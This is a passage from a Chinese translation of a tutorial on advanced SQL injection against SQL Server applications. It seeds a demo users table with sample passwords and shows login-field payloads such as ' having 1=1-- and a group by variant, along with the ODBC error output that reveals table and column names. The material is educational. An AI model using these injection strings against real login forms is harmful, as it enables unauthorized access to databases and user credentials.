WEB开发网
开发学院数据库MSSQL Server Sql server应用程序中的高级SQL注入 阅读

Sql server应用程序中的高级SQL注入

 2007-05-18 09:39:43 来源:WEB开发网   
核心提示: 然后将下面的用户插入到users表中:Insert into users values(0,'admin','r00tr0x!',0xffff)Insert into users values(0,'guest','guest'

然后将下面的用户插入到users表中:

  Insert into users values(0,'admin','r00tr0x!',0xffff)
  Insert into users values(0,'guest','guest',0x0000)
  Insert into users values(0,'chris','password',0x00ff)
  Insert into users values(0,'fred','sesame',0x00ff)

如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。

幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。

(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)

首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:

Username:' having 1=1—

这样将会出现如下错误:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35

因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:

Username:' group by users.id having 1=1—

上一页  1 2 3 4 5 6 7 8 9 10  下一页

Tags:SQL Server 应用程序

编辑录入:coldstar [复制链接] [打 印]
赞助商链接